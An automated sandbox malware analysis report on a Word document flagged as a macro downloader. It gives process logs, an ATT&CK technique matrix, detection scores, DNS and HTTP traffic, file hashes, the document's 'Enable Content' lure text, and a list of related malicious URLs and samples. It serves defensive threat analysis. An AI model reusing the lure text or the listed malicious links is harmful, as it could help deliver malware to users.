Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Command and Scripting Interpreter	1 Scripting	11 Process Injection	3 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	11 Process Injection	Security Account Manager	1 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	12 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label
index.html.docx	76%	ReversingLabs	Win32.Exploit.Generic
index.html.docx	100%	Avira	HEUR/Macro.Downloader.MRTY.Gen
index.html.docx	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
sni1gl.wpc.sigmacdn.net	152.199.21.175	true	false	high
res.public.onecdn.static.microsoft	unknown	unknown	false	high
tse1.mm.bing.net	unknown	unknown	false	high

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577372
Start date and time:	2024-12-18 12:50:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	index.html.docx
Detection:	MAL
Classification:	mal92.expl.winDOCX@15/247@2/0
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .docx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Input	Output
URL: Office document Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office.", "prominent_button_name": "Enable Editing", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Office document Model: Joe Sandbox AI	{ "brands": [ "Office" ] }
	{ "brands": [ "Office" ] }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "OK", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "Enable Editing", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "Enable Editing", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "OK", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "You are attempting to open a file that was created in an earlier version of Microsoft Office. If the file opens in Protected View, click Enable Editing and then click Enable Content.", "prominent_button_name": "Enable Editing", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: Screenshot id: 3 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 2 Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: Screenshot id: 6 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 11 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 10 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 8 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 7 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 4 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 5 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }
URL: Screenshot id: 9 Model: Joe Sandbox AI	{ "brands": [ "Microsoft Office" ] }
	{ "brands": [ "Microsoft Office" ] }

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sni1gl.wpc.sigmacdn.net	https://syndiclair-my.sharepoint.com/:o:/g/personal/ml_syndiclair_fr/En8EbZMYpZ5CodZQ05mt4IMBGZHEHcSylnIeMh0DoULmZw?e=UkXb4Y	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9	Get hash	malicious	Unknown	Browse	152.199.21.175
	174 Power Global_Enrollment_.docx.doc	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://mailustabucaedu-my.sharepoint.com/:u:/g/personal/stella_pabon_ustabuca_edu_co/EWCk8BqICKBBrExz32n-PvYBCVoLK4PToNCGKPT0vElGYg?e=w0tQWE	Get hash	malicious	Unknown	Browse	152.199.21.175
	wayneenterprisesbatcave-6.0.1901-windows-installer.msi	Get hash	malicious	ScreenConnect Tool	Browse	152.199.21.175
	QyzM5yhuwd.exe	Get hash	malicious	MedusaLocker	Browse	152.199.21.175
	Document.xla	Get hash	malicious	Unknown	Browse	152.199.21.175
	letter_sjoslin_odeonuk.com.pdf	Get hash	malicious	Unknown	Browse	152.195.19.97
	sjoslin@odeonuk.com_print.svg	Get hash	malicious	Unknown	Browse	152.195.19.97
	sjoslin@odeonuk.com_print.svg	Get hash	malicious	Unknown	Browse	152.199.21.175
ax-0001.ax-msedge.net	99awhy8l.exe	Get hash	malicious	LummaC	Browse	150.171.28.10
	Opdxdyeul.exe	Get hash	malicious	SystemBC	Browse	150.171.27.10
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	PPbimZI4LV.exe	Get hash	malicious	Unknown	Browse	150.171.28.10
	pt8GJiNZDT.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe	Get hash	malicious	Metasploit	Browse	150.171.28.10
	https://mail.donotreply.biz/XWW04VVZpU2JyWTFmVy96T2RUOUEvcEhyMWhFSm5uZElnVUlmb2dTZEdMRFdGSU1UV2V3S3RUNGdrNmNQRFJ4WTFPRHdYYlkraDV3S1YyVVpuU3E3K2p1bWowcEt3M24ySVBLanRDUkwyYitYWExuYTB5YlhVTUhySWZKbGJCTE9oRHl2RCtjR29BbEk3ZEwxZFJaNmNoK29ESk0vTGcxSmtyK0FWTExLWTdxYlQ1Yys1bjNiTUczY0RnPT0tLTU2R0pFM1VwZFRnVndZSWktLXptU2lWOHlQdjR0eGI1K09OQVZtRnc9PQ==?cid=2315575162	Get hash	malicious	KnowBe4	Browse	150.171.27.10
	https://ce4.ajax.a8b.co/get?redir=1&id=d4vCW7zizPl1mo0GYx0ELgo+CCIybH9/c4qC7CeWEuI=&uri=//the-western-fire-chiefs-association.jimdosite.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	174 Power Global_Enrollment_.docx.doc	Get hash	malicious	Unknown	Browse	150.171.27.10
fp2e7a.wpc.phicdn.net	pyld611114.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	192.229.221.95
	do.ps1	Get hash	malicious	Unknown	Browse	192.229.221.95
	RFQ NO 65-58003.exe	Get hash	malicious	Remcos	Browse	192.229.221.95
	JnEZtj3vtN.exe	Get hash	malicious	PureCrypter	Browse	192.229.221.95
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	billi_e58d74e455634dc695ed8a7b8b320325.exe.dom_1.exe	Get hash	malicious	Metasploit	Browse	192.229.221.95
	credit.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS	Browse	192.229.221.95
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	192.229.221.95
	file.exe	Get hash	malicious	Remcos	Browse	192.229.221.95

Process:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Dec 19 13:24:00 2018, Last Saved Time/Date: Wed Dec 19 13:24:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 18, Security: 0
Entropy (8bit):	6.431597249255022
TrID:	Microsoft Word document (32009/1) 54.23% Microsoft Word document (old ver.) (19008/1) 32.20% Generic OLE2 / Multistream Compound File (8008/1) 13.57%
File name:	index.html.docx
File size:	145'280 bytes
MD5:	528cc107d6975d8f751095e54bce7511
SHA1:	a40731073bfa54b9e89b41ba00fca06112baf619
SHA256:	39f98e51bcd3696766ee8f0e7c7f7b5d87d75ed730a19ef63cbf88b74cf8f0cd
SHA512:	3070f097621265c2364332c8fc7519ffc6dbd9e8edc45cc9df48699c94acc2bd208d509423b4669b13fcd05a05a2b8e14399adf1bc066553814335646b2761a3
SSDEEP:	1536:af81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvad+GryvprTUk7bce+a9:af8GhDS0o9zTGOZD6EbzCdxO1TRc
TLSH:	4FE39C0C3E95DE27E4E943304DD7FADA3620BC16AECF460F35857B2E6C352A09A4265C
File Content Preview:	........................>......................................................................................................................................................................................................................................

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report index.html.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\Office\Features\0-16FeatureCache.txt (copy)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\134443BC.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CAD0588D.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CD4E8723.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F5A1AD2A.wmf

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{5655FBC5-0155-4D55-B5F1-D09476819944}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{01D1F3AA-B13D-48BF-8435-520937A3AEF1}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{5BFA8A9E-CC09-4BB1-9EB1-7BEA70C3E134}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{66F23578-1338-43CB-AD13-480566E881CD}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A80262C0-5BCE-4191-A9FA-EBE8867F2CD4}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{BEB6C04A-F92E-4349-9B0D-960C956C6793}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{E43FC618-FBF2-45E5-972B-02EEB0D3D730}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{F969E657-CC18-4ED0-976A-FD65A63BB229}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\Primary1734522703960793300_7178AE21-09A7-46AF-8695-5AE8859B4B6D.log

C:\Users\user\AppData\Local\Temp\E93FCEC8.tmp

C:\Users\user\AppData\Local\Temp\TCD8059.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8059.tmp\TabbedArc.glox

C:\Users\user\AppData\Local\Temp\TCD8072.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD8072.tmp\chevronaccent.glox

C:\Users\user\AppData\Local\Temp\TCD809E.tmp\Content.inf

C:\Users\user\AppData\Local\Temp\TCD809E.tmp\PictureFrame.glox

C:\Users\user\AppData\Local\Temp\TCD809F.tmp\Content.inf

Windows Analysis Report
index.html.docx

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 12:51:40.859756947 CET	61622	53	192.168.2.26	1.1.1.1
Dec 18, 2024 12:51:41.220205069 CET	61622	53	192.168.2.26	1.1.1.1

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 12:51:37.833718061 CET	1.1.1.1	192.168.2.26	0x9b7d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:37.833718061 CET	1.1.1.1	192.168.2.26	0x9b7d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:51:40.997070074 CET	1.1.1.1	192.168.2.26	0xa6c6	No error (0)	res.public.onecdn.static.microsoft	res-ocdi-public.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:40.997070074 CET	1.1.1.1	192.168.2.26	0xa6c6	No error (0)	res-2.public.onecdn.static.microsoft	cdn-office.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:40.997070074 CET	1.1.1.1	192.168.2.26	0xa6c6	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:40.997070074 CET	1.1.1.1	192.168.2.26	0xa6c6	No error (0)	sni1gl.wpc.sigmacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:51:41.519887924 CET	1.1.1.1	192.168.2.26	0xcd63	No error (0)	tse1.mm.bing.net	mm-mm.bing.net.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:41.519887924 CET	1.1.1.1	192.168.2.26	0xcd63	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:51:41.519887924 CET	1.1.1.1	192.168.2.26	0xcd63	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:51:54.078428984 CET	1.1.1.1	192.168.2.26	0xc349	No error (0)	scdn1cc4b.wpc.9aea3.sigmacdn.net	sni1gl.wpc.sigmacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 12:51:54.078428984 CET	1.1.1.1	192.168.2.26	0xc349	No error (0)	sni1gl.wpc.sigmacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 18, 2024 12:51:58.246470928 CET	1.1.1.1	192.168.2.26	0xf777	No error (0)	templatesmetadata.office.net	templatesmetadata.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:51:42 UTC	399	OUT	GET /creativeservice/2d863f0f-0fd5-72db-6971-f905df03ef53_3255140379518978990_128000000004796009_assets__image_1709055739600.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.22631 Host: res.public.onecdn.static.microsoft Connection: Keep-Alive
2024-12-18 11:51:43 UTC	1142	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 556863 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=31536000 Content-Type: text/plain Date: Wed, 18 Dec 2024 11:51:43 GMT Last-Modified: Thu, 12 Dec 2024 01:09:10 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=175923482083018545111845223595898088115"}],"include_subdomains ":true} Server: ECAcc (lhc/790A) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 19c83f89-b01e-0054-1c32-4cb0c0000000 Content-Length: 2495 Connection: close
2024-12-18 11:51:43 UTC	2495	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 01 00 48 00 48 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c0 00 11 08 00 40 00 40 03 01 11 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFHHCC@@}!1AQa"q2

Target ID:	0
Start time:	06:51:42
Start date:	18/12/2024
Path:	C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x7ff64e2b0000
File size:	1'637'952 bytes
MD5 hash:	A9F0EC89897AC6C878D217DFB64CA752
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
